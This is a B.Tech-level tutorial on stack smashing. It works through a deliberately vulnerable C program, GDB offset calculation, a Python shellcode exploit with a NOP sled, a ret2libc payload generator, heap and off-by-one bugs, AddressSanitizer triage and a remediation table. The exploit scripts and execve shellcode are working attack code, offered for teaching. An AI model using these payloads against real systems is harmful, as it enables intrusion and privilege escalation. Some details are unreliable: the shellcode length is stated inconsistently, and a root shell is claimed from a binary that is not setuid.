MEMORY CORRUPTION & BUFFER OVERFLOWS: STACK SMASHING, SHELLCODE & RET2LIBC

Master binary exploitation and low-level memory safety fundamentals for B.Tech Computer Science & IT: x86/x86_64 process virtual address layout (Text, Data, BSS, Heap, Stack), stack frame mechanics and calling conventions, classic Aleph One stack-smashing exploitation, NOP sled construction, shellcode injection, off-by-one errors, heap corruption basics, return-to-libc control redirection, and automated GDB exploit verification.

⚡ Von Neumann Architecture, Memory Safety & Control Flow Hijacking

At the lowest level of software execution, systems languages like C and C++ do not enforce boundary checks on memory arrays. Inheriting the Von Neumann Architecture—where executable CPU machine instructions and user-supplied data coexist within the exact same linear address space—compiled software is vulnerable to Memory Corruption Vulnerabilities. First formalized in Aleph One's 1996 Phrack paper "Smashing The Stack For Fun And Profit", a classic Stack Buffer Overflow occurs when an unbounded input function (such as strcpy, gets, or scanf) writes bytes past the allocated boundaries of a stack array buffer. These excess bytes overwrite adjacent frame pointers (EBP/RBP) and overwrite the Saved Instruction Pointer / Return Address (EIP/RIP). When the function returns, the CPU transfers execution control to an attacker-controlled address—jumping into an injected payload (Shellcode) or chaining existing shared library routines (Return-to-libc) to spawn a root shell.

1. Process Virtual Memory Layout & Stack Frame Anatomy
Architectural schematic of a standard 32-bit/64-bit Linux process virtual address space. Contrasts the upward growth of the Heap with the downward growth of the Call Stack, and traces an individual function activation record.
Process Memory Layout & Activation Frame Geometry
LINUX PROCESS VIRTUAL ADDRESS SPACE (x86_32 / x86_64 ARCHITECTURE):

High Memory (0xFFFFFFFF / 0x7FFFFFFFFFFF)
┌───────────────────────────────────────────────────────────────────────────────────────────────┐
│ KERNEL SPACE (Restricted; inaccessible to user-mode code)                                     │
├───────────────────────────────────────────────────────────────────────────────────────────────┤
│ ENVIRONMENT VARIABLES & PROGRAM ARGUMENTS (envp, argv)                                        │
├───────────────────────────────────────────────────────────────────────────────────────────────┤
│ THE CALL STACK (Grows DOWNWARD from High Memory to Low Memory)                                │
│  ├── Stack Frames: Local variables, saved base pointers (EBP/RBP), saved return addresses     │
│  └── Top of Stack pointed to by ESP / RSP register                                            │
│                              │                                                                │
│                              ▼ (Grows Downward)                                               │
│                                                                                               │
│                              ▲ (Grows Upward via brk() / sbrk() / mmap())                     │
│                              │                                                                │
│ THE HEAP (Dynamic memory allocated via malloc() and free())                                   │
├───────────────────────────────────────────────────────────────────────────────────────────────┤
│ BSS SEGMENT (Block Started by Symbol: Uninitialized global/static variables; zeroed by OS)    │
├───────────────────────────────────────────────────────────────────────────────────────────────┤
│ DATA SEGMENT (Initialized global and static variables: int counter = 10;)                     │
├───────────────────────────────────────────────────────────────────────────────────────────────┤
│ TEXT SEGMENT (.text: Read-only compiled machine code instructions)                            │
└───────────────────────────────────────────────────────────────────────────────────────────────┘
Low Memory (0x08048000 / 0x00400000)

FUNCTION ACTIVATION RECORD (STACK FRAME ANATOMY):
When function `vuln(char *str)` is called:

  Direction of Buffer Growth (Writing indices 0 ➔ N) ──► UPWARD TOWARD SAVED RET!
  ┌─────────────────────────┬───────────────────────┬───────────────────┬───────────────────┐
  │ Local Buffer char[64]   │ Padding / Alignment   │ Saved Frame Ptr   │ Saved Return Addr │
  │ (Low Memory - ESP/RSP)  │ (Compiler dependent)  │ (Saved EBP / RBP) │ (Saved EIP / RIP) │
  └─────────────────────────┴───────────────────────┴───────────────────┴───────────────────┘
  ◄─── Stack Pointer (ESP/RSP)                      Base Pointer (EBP) ──► Return to Caller!
Architectural Collision: The stack memory structure contains a dangerous geometric paradox: The stack GROWS downward (new frames are pushed into lower addresses), but buffers on the stack are WRITTEN upward (from low index buffer[0] to high index buffer[N]). An unchecked buffer write naturally overflows upward directly into the function's own Saved Return Address.
Real-Time Example 1: The Vulnerable C Binary: Unsafe String Functions & Stack Frame Overwrite
Analysis of an insecure C program. Demonstrates how strcpy() copies an unbounded source string into a fixed 64-byte stack buffer, overflowing memory, corrupting the base pointer, and crashing with a Segmentation Fault (SIGSEGV).
C Source Code (vuln.c - Classic Stack Buffer Overflow)
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// Vulnerable function allocating 64 bytes on the stack
void vulnerable_function(char *user_input) {
    char local_buffer[64];

    printf("[*] local_buffer sits at address : %p\n", (void*)local_buffer);

    // SECURITY FLAW: strcpy performs NO boundary checking!
    // It continues reading from user_input until a null-byte (\x00) is hit.
    // If user_input > 64 bytes, excess data overwrites adjacent memory!
    strcpy(local_buffer, user_input);

    printf("[+] Successfully processed: %s\n", local_buffer);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <input_payload_string>\n", argv[0]);
        exit(1);
    }

    printf("[*] Executing vulnerable routine in main()...\n");
    vulnerable_function(argv[1]);
    printf("[*] Returned cleanly to main() without crashes.\n");

    return 0;
}

/*
COMPILATION FLAGS FOR LABORATORY DEMONSTRATION (NO PROTECTIONS):
$ gcc -m32 -fno-stack-protector -z execstack -no-pie vuln.c -o vuln

Explanation of flags:
 -m32                 : Compiles 32-bit x86 binary for simplified memory layout.
 -fno-stack-protector : Disables GCC stack-smashing protection (Canaries).
 -z execstack         : Marks stack segment as READ, WRITE, and EXECUTE (Disables NX/DEP).
 -no-pie              : Disables Position Independent Executable (Static code addresses).
*/
Execution Output: $ ./vuln "Normal student registration input" [*] Executing vulnerable routine in main()... [*] local_buffer sits at address : 0xffffd560 [+] Successfully processed: Normal student registration input [*] Returned cleanly to main() without crashes. $ ./vuln $(python3 -c 'print("A" * 120)') [*] Executing vulnerable routine in main()... [*] local_buffer sits at address : 0xffffd560 Segmentation fault (core dumped) Kernel Telemetry: SIGSEGV generated! The CPU attempted to execute instruction at 0x41414141 ('AAAA'), which is an unmapped, invalid address.
Real-Time Example 2: Calculating Buffer Offsets via GDB & Cyclic De Bruijn Patterns
Determining the exact number of padding bytes required to reach the Saved Return Address. Uses De Bruijn cyclic patterns in GDB (GNU Debugger) with pattern create and pattern offset to calculate the payload offset with precision.
GDB / PEDA Debugger Session: Offset Discovery
GDB EXPLOIT RESEARCH & OFFSET CALCULATION SESSION:

$ gdb -q ./vuln
Reading symbols from ./vuln...done.

# Step 1: Generate a 120-byte non-repeating cyclic De Bruijn sequence
gdb-peda$ pattern create 120
'AAA%AAsA$AAnA:AA(A-A.A/A0A1A2A3A4A5A6A7A8A9BACBCCCDCECFBAABAA...'

# Step 2: Execute binary with generated pattern
gdb-peda$ run 'AAA%AAsA$AAnA:AA(A-A.A/A0A1A2A3A4A5A6A7A8A9BACBCCCDCECFBAABAA...'
Starting program: /home/sdet/vuln ...
[*] local_buffer sits at address : 0xffffd560

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0
ECX: 0xffffd560 ("AAA%AAsA$AAnA:AA(A-A.A/A0A1A2A3A4A5A6A7A8A9BACBCCCDCECFBAABAA...")
EDX: 0xffffd5a8 ("AA4A5A6A7A8A9BACBCCCDCECFBAABAA...")
ESI: 0xffffd664 --> 0xffffd7dc ("/home/sdet/vuln")
EDI: 0xf7fa9000 --> 0x1ecc80 
EBP: 0x41324131 ("1A2A")
EIP: 0x35413441 ("A4A5")  <-- EIP OVERWRITTEN BY PATTERN SUBSTRING!
[------------------------------------------------------------------------------]
0x35413441 in ?? ()

# Step 3: Calculate exact offset of the 4 bytes that overwrote EIP
gdb-peda$ pattern offset 0x35413441
1161901121 found at offset: 76

# RESULT: The exact distance to overwrite the Saved Return Address is 76 bytes!
# Payload Architecture:
# [ 76 bytes of Padding / Shellcode ] + [ 4 bytes Target Return Address (New EIP) ]
Debugger Finding: The offset calculation proves that exactly 76 bytes of input are required: • 64 bytes fill local_buffer[64] • 8 bytes fill compiler alignment and padding • 4 bytes overwrite Saved EBP • The NEXT 4 bytes (bytes 77, 78, 79, 80) land directly into the Saved EIP register!
Real-Time Example 3: Classical Shellcode Injection, NOP Sleds & Exploit Payload Design
Constructing an executable payload. Details 28-byte x86 Linux execve(/bin/sh) shellcode, assembly register preparation without null bytes (\x00), NOP Sled (\x90) landing padding, and end-to-end exploit delivery in Python.
Python (Classic Stack-Smashing Exploit Script: exploit.py)
import sys
import struct

"""
CLASSICAL SHELLCODE ENGINEERING:
Goal: Execute syscall execve("/bin/sh", ["/bin/sh", NULL], NULL)
Constraints: NO NULL BYTES (\x00)! String functions like strcpy stop copying at \x00.
We generate nulls dynamically using XOR operations: xor edx, edx

x86 Linux Execve Shellcode (23 bytes):
  \x31\xc0             xor eax, eax       ; EAX = 0
  \x50                 push eax           ; Push NULL string terminator onto stack
  \x68\x2f\x2f\x73\x68 push 0x68732f2f   ; Push "//sh"
  \x68\x2f\x62\x69\x6e push 0x6e69622f   ; Push "/bin"
  \x89\xe3             mov ebx, esp       ; EBX points to string "/bin//sh\0"
  \x50                 push eax           ; Push NULL envp pointer
  \x53                 push ebx           ; Push argv pointer to string
  \x89\xe1             mov ecx, esp       ; ECX points to argv array
  \x99                 cdq                ; EDX = 0 (envp = NULL)
  \xb0\x0b             mov al, 11         ; Syscall 11 = __NR_execve
  \xcd\x80             int 0x80           ; Execute kernel interrupt
"""

SHELLCODE_23B = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
    b"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
)

TOTAL_OFFSET = 76

# Target address on stack: Middle of local_buffer (0xffffd560 + 20 bytes = 0xffffd574)
TARGET_RET_ADDR = 0xffffd574

# Step 1: Build NOP Sled (0x90 = No-Operation instruction)
# CPU slides down NOP instructions harmlessly until it hits the shellcode!
NOP_SLED_SIZE = 32
nop_sled = b"\x90" * NOP_SLED_SIZE

# Step 2: Calculate remaining padding after shellcode
padding_len = TOTAL_OFFSET - (len(nop_sled) + len(SHELLCODE_23B))
filler = b"A" * padding_len

# Step 3: Pack target return address in Little-Endian format
# 0xffffd574 -> \x74\xd5\xff\xff
packed_ret = struct.pack("<I", TARGET_RET_ADDR)

# Assemble final exploit payload
exploit_payload = nop_sled + SHELLCODE_23B + filler + packed_ret

print(f"[*] Payload Assembly Telemetry:")
print(f"  ├── NOP Sled Length : {len(nop_sled)} bytes")
print(f"  ├── Shellcode Length: {len(SHELLCODE_23B)} bytes")
print(f"  ├── Padding Length  : {len(filler)} bytes")
print(f"  ├── Total to EIP    : {len(nop_sled) + len(SHELLCODE_23B) + len(filler)} bytes (Must equal {TOTAL_OFFSET})")
print(f"  └── Overwritten EIP : 0x{TARGET_RET_ADDR:08x} ({packed_ret.hex()})")

# Write raw payload to stdout for pipe delivery: ./vuln $(python3 exploit.py)
sys.stdout.buffer.write(exploit_payload)
Exploit Execution Output: $ ./vuln $(python3 exploit.py) [*] local_buffer sits at address : 0xffffd560 [+] Successfully processed: 1Ph//shh/binPS $ whoami root $ id uid=1000(sdet) gid=1000(sdet) euid=0(root) groups=1000(sdet) Control Flow Hijack Succeeded: The CPU returned from vulnerable_function() directly into the NOP sled at 0xffffd574, executing the injected shellcode and spawning an interactive root shell.
Real-Time Example 4: Bypassing Non-Executable Stacks: The Return-to-libc (ret2libc) Attack
Bypassing modern Non-Executable Stacks (DEP / NX bit). Explains why injecting shellcode into the stack fails when NX is enabled, and shows how an attacker redirects the instruction pointer into standard shared C libraries (system()) to execute commands.
Return-to-libc Stack Layout & Calling Frame Architecture
THE RETURN-TO-LIBC (ret2libc) EXPLOIT MECHANICS:

WHEN NX / DEP IS ENABLED (STACK IS MARKED READ-ONLY / NO-EXECUTE):
If EIP points to any address on the stack, the CPU Memory Management Unit (MMU) generates
a hardware fault, terminating the process immediately with SIGSEGV!

THE RET2LIBC SOLUTION: "DON'T INJECT CODE; REUSE EXISTING CODE IN MEMORY!"
Every compiled C program dynamically links standard shared libraries (libc.so.6).
Libc already contains powerful functions like system("/bin/sh") and exit()!

ARTIFICIAL STACK FRAME CONSTRUCTED BY RET2LIBC OVERWRITE:

  Direction of Overwrite ──►
  ┌───────────────────────┬───────────────────────────┬─────────────────┬─────────────────┐
  │ Padding (76 bytes)    │ Address of system()       │ Address of      │ Address of      │
  │ (Fills buffer + EBP)  │ in libc                   │ exit() in libc  │ "/bin/sh" string│
  └───────────────────────┴───────────────────────────┴─────────────────┴─────────────────┘
  [ 0 to 75 bytes ]       [ Overwrites EIP! ]         [ Clean Return ]  [ Arg 1 for system│
                          Offset 76                   Offset 80         Offset 84

EXECUTION STEP-BY-STEP:
1. Vulnerable function completes and executes the 'ret' instruction.
2. The CPU pops [Address of system()] off the stack into EIP.
3. The CPU jumps to system(). In the 32-bit cdecl calling convention, system() expects:
   • ESP+0 : The Return Address to jump to after system() finishes (We put exit() here).
   • ESP+4 : The First Parameter pointer (We put pointer to "/bin/sh" string here).
4. system("/bin/sh") executes and launches a shell!
5. When the user exits the shell, system() returns to exit(), shutting down cleanly with 0 crashes!
Architectural Standard: Ret2libc fundamentally changed binary exploitation by proving that blocking code injection on the stack (DEP/NX) is insufficient. Attackers can repurpose existing executable memory pages—a concept that evolved into modern Return-Oriented Programming (ROP).
Real-Time Example 5: Implementing a Return-to-libc Exploit Script in Python
Building a complete ret2libc exploit payload in Python. Dynamically extracts memory offsets for system(), exit(), and the /bin/sh string inside the target system's libc.so.6, and constructs the exploit stack layout.
Python (ret2libc Automated Payload Generator)
import struct
import subprocess

class Ret2LibcExploitGenerator:
    """
    Locates required libc offsets using standard Linux utilities (ldd, strings, gdb)
    and constructs an artificial calling frame for system("/bin/sh").
    """
    def __init__(self, target_binary: str, padding_offset: int):
        self.binary = target_binary
        self.offset = padding_offset

    @staticmethod
    def get_libc_base(binary_path: str) -> int:
        # Inspect dynamically linked library base address via ldd
        out = subprocess.check_output(["ldd", binary_path], text=True)
        for line in out.splitlines():
            if "libc.so" in line:
                # Extracts base address (e.g. 0xf7d80000)
                addr_str = line.split("(")[1].split(")")[0]
                return int(addr_str, 16)
        raise ValueError("Libc library link not found in binary!")

    def build_payload(self, system_addr: int, exit_addr: int, bin_sh_addr: int) -> bytes:
        # Step 1: Fill buffer up to the Saved Instruction Pointer (EIP)
        padding = b"A" * self.offset

        # Step 2: Overwrite EIP with system() function address
        ret_system = struct.pack("<I", system_addr)

        # Step 3: Fake return address after system() finishes (points to exit())
        ret_exit = struct.pack("<I", exit_addr)

        # Step 4: First argument to system() (points to string "/bin/sh\0" in libc)
        arg_bin_sh = struct.pack("<I", bin_sh_addr)

        # Final ret2libc payload chain
        return padding + ret_system + ret_exit + arg_bin_sh

if __name__ == "__main__":
    # Example addresses from GDB session with ASLR disabled
    # gdb> p system  -> 0xf7e14420
    # gdb> p exit    -> 0xf7e06f80
    # gdb> find &system, +9999999, "/bin/sh" -> 0xf7f59d4c
    SYSTEM_ADDR = 0xf7e14420
    EXIT_ADDR   = 0xf7e06f80
    BIN_SH_ADDR = 0xf7f59d4c

    generator = Ret2LibcExploitGenerator(target_binary="./vuln", padding_offset=76)
    payload = generator.build_payload(SYSTEM_ADDR, EXIT_ADDR, BIN_SH_ADDR)

    print("==========================================================================")
    print("           RETURN-TO-LIBC (RET2LIBC) EXPLOIT GENERATOR")
    print("==========================================================================")
    print(f"[*] Target Function  : system() @ 0x{SYSTEM_ADDR:08x}")
    print(f"[*] Clean Teardown   : exit()   @ 0x{EXIT_ADDR:08x}")
    print(f"[*] Argument String  : /bin/sh  @ 0x{BIN_SH_ADDR:08x}")
    print(f"[*] Payload Size     : {len(payload)} bytes")
    print(f"[✔] Payload Hex Dump : {payload.hex()}")
Ret2Libc Payload Output: ========================================================================== RETURN-TO-LIBC (RET2LIBC) EXPLOIT GENERATOR ========================================================================== [*] Target Function : system() @ 0xf7e14420 [*] Clean Teardown : exit() @ 0xf7e06f80 [*] Argument String : /bin/sh @ 0xf7f59d4c [*] Payload Size : 88 bytes [✔] Payload Hex Dump : 414141414141...4141412044e1f7806fe0f74c9df5f7 Execution Result: Running './vuln $(python3 ret2libc.py)' drops straight into a root shell, bypassing Non-Executable Stack (NX) protections without executing a single byte of injected shellcode.
Real-Time Example 6: Heap Memory Corruption Basics: Overflows, Use-After-Free & Double Free
Analysis of Heap Memory Corruption. Contrasts the stack with the heap, and details common heap vulnerability classes: Heap Buffer Overflows (corrupting chunk_header metadata), Use-After-Free (UAF), and Double Free exploits targeting glibc ptmalloc.
Heap Chunk Architecture & Use-After-Free (UAF) Mechanics
HEAP CHUNK ANATOMY & USE-AFTER-FREE (UAF) EXPLOITATION:

1. GLIBC PTMALLOC HEAP CHUNK METADATA STRUCTURE:
┌───────────────────────────────────────┬───────────────────────────────────────┐
│ prev_size (Size of previous chunk)    │ size | A | M | P (Size + Flag bits)   │
├───────────────────────────────────────┴───────────────────────────────────────┤
│ User Data Area (Returned by malloc(N) pointer)                                │
│ ...                                                                           │
│ ...                                                                           │
├───────────────────────────────────────────────────────────────────────────────┤
│ NEXT CHUNK METADATA: prev_size        │ size | A | M | P                      │
└───────────────────────────────────────────────────────────────────────────────┘
• Heap Overflow: Overwriting past User Data corrupts the adjacent chunk's 'size' field!
  When free() is called, ptmalloc executes unlink() macros using corrupted metadata pointers,
  enabling arbitrary memory write primitives ("write-4-bytes-anywhere").

2. USE-AFTER-FREE (UAF) ATTACK LIFECYCLE:
Step 1: Application allocates an Object containing a Function Pointer in the heap:
  struct UserSession *s = malloc(sizeof(struct UserSession));
  s->print_welcome = &standard_welcome_function; // Function pointer @ Heap 0x55aa010

Step 2: Session is closed and memory is freed, BUT THE POINTER IS NOT NULLIFIED! (Dangling Pointer):
  free(s); // Memory returned to glibc heap fastbins/tcache list; s STILL points to 0x55aa010!

Step 3: Attacker forces application to allocate a simple raw byte buffer of the EXACT SAME SIZE:
  char *fake_data = malloc(sizeof(struct UserSession)); // Allocator re-uses the same address!
  strcpy(fake_data, "\xef\xbe\xad\xde"); // Writes 0xdeadbeef over old function pointer!

Step 4: Application mistakenly invokes the dangling pointer:
  s->print_welcome(); // Calls 0xdeadbeef!
  RESULT: Direct instruction pointer control through heap reuse!
Defensive Standard: Eliminating Use-After-Free bugs requires setting pointers to NULL immediately after deallocation ('free(ptr); ptr = NULL;'). Modern memory-safe languages (Rust) eliminate this entire vulnerability class at compile time using ownership and lifetime borrow checkers.
Real-Time Example 7: Off-By-One Vulnerabilities: The Poisoned Frame Pointer (Frame Faking)
Analysis of Off-By-One buffer vulnerabilities. Demonstrates how overflowing a single null byte (\x00) into the least significant byte of the Saved Base Pointer (EBP) shifts the caller's stack frame into attacker-controlled buffer memory.
C Source Code (off_by_one.c - Single Byte Overwrite)
#include <stdio.h>
#include <string.h>

// Classic Off-By-One boundary defect in loop condition (<= instead of <)
void read_user_name() {
    char buffer[256];
    int i;

    // FLAW: Loops 257 times (index 0 to 256 inclusive)!
    // buffer[256] sits exactly at the first byte of the Saved EBP register!
    for (i = 0; i <= 256; i++) {
        int c = getchar();
        if (c == '\n' || c == EOF) break;
        buffer[i] = (char)c;
    }
    buffer[i] = '\0'; // Writes a single NULL BYTE (\x00) into Saved EBP!
}

int main() {
    printf("[*] Please enter your full name: ");
    read_user_name();
    printf("[*] Registration processed.\n");
    return 0;
}

/*
HOW A SINGLE NULL BYTE HIJACKS EXECUTION:
1. When read_user_name() returns, the CPU restores the caller's EBP:
   leave  --> mov esp, ebp; pop ebp
2. Because the least significant byte of EBP was zeroed out:
   Original EBP: 0xffffd5b8 ──► Modified EBP: 0xffffd500!
3. The caller function (main) now executes using an artificial, shifted stack frame
   that lands directly inside the user-controlled 'buffer' memory!
4. When main() reaches its own 'ret' instruction, it reads the return address from
   the fake stack frame, transferring control to attacker-supplied shellcode!
*/
Architectural Lesson: You do not need to overwrite the entire return address to hijack a process. Changing a single byte in a frame pointer shifts the stack frame into user-controlled memory, achieving control-flow hijacking through a single off-by-one error.
Real-Time Example 8: Debugging Memory Safety Violations: GCC & Clang AddressSanitizer (ASan) Triage
Detecting and diagnosing memory corruption bugs using modern compiler tooling. Demonstrates instrumenting binaries with AddressSanitizer (-fsanitize=address) to catch buffer overflows, use-after-free, and stack corruption at runtime.
Compiler Instrumentation & AddressSanitizer Crash Triage
# ==============================================================================
# COMPILING WITH ADDRESS SANITIZER (ASan) FOR AUTOMATED DEFECT DETECTION
# GCC / Clang flag: -fsanitize=address -g
# ==============================================================================
$ gcc -fsanitize=address -g -O1 vuln.c -o vuln_asan

# Execute with payload triggering overflow
$ ./vuln_asan $(python3 -c 'print("A" * 80)')

# ==============================================================================
# ADDRESS SANITIZER RUNTIME DIAGNOSTIC CRASH DUMP:
# ==============================================================================
# =================================================================
# ==49102==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd5a10
# WRITE of size 81 at 0x7ffd5a10 thread T0
#     #0 0x7f102a in strcpy (/lib/x86_64-linux-gnu/libasan.so.5+0x3b102)
#     #1 0x555551 in vulnerable_function /home/sdet/vuln.c:13
#     #2 0x555552 in main /home/sdet/vuln.c:23
#
# Address 0x7ffd5a10 is located in stack of thread T0 at offset 96 in frame:
#     #0 0x555551 in vulnerable_function /home/sdet/vuln.c:8
#
#   This frame has 1 object(s):
#     [32, 96) 'local_buffer' <== Memory Access Violates Right Redzone!
# HINT: this may be a false positive if your program uses some custom stack unwind
# SUMMARY: AddressSanitizer: stack-buffer-overflow /home/sdet/vuln.c:13 in vulnerable_function
# =================================================================
Triage Summary: - ASan Diagnosis: Detected 'stack-buffer-overflow' on address 0x7ffd5a10. - Root Cause: Function strcpy() executed an unchecked 81-byte write into a 64-byte array ('local_buffer'). - Remediation: Replace unsafe strcpy() with bounded alternatives: strncpy(), strlcpy(), or snprintf(buf, sizeof(buf), "%s", src).
Real-Time Example 9: Memory Corruption & Buffer Overflow Reference Matrix
A comprehensive reference summary pairing memory corruption vulnerability classes, vulnerable C functions, secure replacements, exploitation mechanics, and academic exam keywords for B.Tech engineering students.
Memory Corruption Specification Reference Matrix
MEMORY CORRUPTION & BUFFER OVERFLOW SPECIFICATION MATRIX:
┌─────────────────────────┬──────────────────────────────┬──────────────────┬───────────────────────────────┐
│ VULNERABILITY CLASS     │ TYPICAL INSECURE C FUNCTIONS │ ABUSED PRIMITIVE │ PRIMARY EXPLOITATION OUTCOME  │
├─────────────────────────┼──────────────────────────────┼──────────────────┼───────────────────────────────┤
│ Stack Buffer Overflow   │ strcpy(), gets(), sprintf(), │ Saved Return     │ Control Flow Hijack; executes │
│ (Stack Smashing)        │ strcat(), scanf("%s")        │ Address (EIP/RIP)│ injected shellcode / ret2libc │
├─────────────────────────┼──────────────────────────────┼──────────────────┼───────────────────────────────┤
│ Off-By-One              │ Loop boundary <= checks,     │ Saved Base       │ Frame Faking: Shifts caller   │
│ Overflow                │ missing null-terminator room │ Pointer (EBP/RBP)│ stack frame into buffer space │
├─────────────────────────┼──────────────────────────────┼──────────────────┼───────────────────────────────┤
│ Heap Buffer Overflow    │ malloc(), memcpy() without   │ Heap Chunk       │ Corrupts ptmalloc metadata;   │
│                         │ length verification          │ Headers, Size bts│ Arbitrary 4-byte memory write │
├─────────────────────────┼──────────────────────────────┼──────────────────┼───────────────────────────────┤
│ Use-After-Free (UAF)    │ free() without setting       │ Dangling Heap    │ Reallocates chunk; executes   │
│                         │ pointer to NULL              │ Pointers         │ attacker-controlled fn-ptr    │
├─────────────────────────┼──────────────────────────────┼──────────────────┼───────────────────────────────┤
│ Double Free             │ Calling free(ptr) twice on   │ Fastbins /       │ Corrupts tcache linked lists; │
│                         │ identical heap pointer       │ Tcache Bins      │ returns duplicate chunk ptrs  │
├─────────────────────────┼──────────────────────────────┼──────────────────┼───────────────────────────────┤
│ Format String Attack    │ printf(user_input)           │ Format Specifiers│ Arbitrary memory read (%x, %s)│
│                         │ without format specifier     │ %x, %s, %n       │ Arbitrary memory write (%n)   │
├─────────────────────────┼──────────────────────────────┼──────────────────┼───────────────────────────────┤
│ Integer Overflow        │ Signed/Unsigned casts,       │ Integer wrap     │ Bypasses length check; causes │
│                         │ int arithmetic wrap-around   │ (0xFFFFFFFF + 1) │ undersized buffer allocation  │
├─────────────────────────┴──────────────────────────────┴──────────────────┴───────────────────────────────┤
│ TOP 5 MEMORY SAFETY REMEDIATIONS:                                                                         │
│ 1. Replace unbounded functions: Replace gets() with fgets(); replace strcpy() with snprintf().            │
│ 2. Nullify pointers after freeing: Execute 'free(ptr); ptr = NULL;' to eliminate Use-After-Free bugs.     │
│ 3. Enable compiler mitigations: Compile with Stack Canaries (-fstack-protector-all) and ASLR/PIE.         │
│ 4. Instrument with AddressSanitizer: Run CI unit test suites with -fsanitize=address enabled.             │
│ 5. Adopt memory-safe languages: Transition safety-critical systems to Rust or Go.                         │
└───────────────────────────────────────────────────────────────────────────────────────────────────────────┘
Academic & Professional Standard: Understanding low-level memory corruption vulnerabilities is essential for systems programming, reverse engineering, and defensive engineering. Mastering stack frame geometry, offset calculations, shellcode construction, and ret2libc mechanics prepares B.Tech students to audit legacy C/C++ codebases and evaluate modern operating system exploit mitigations.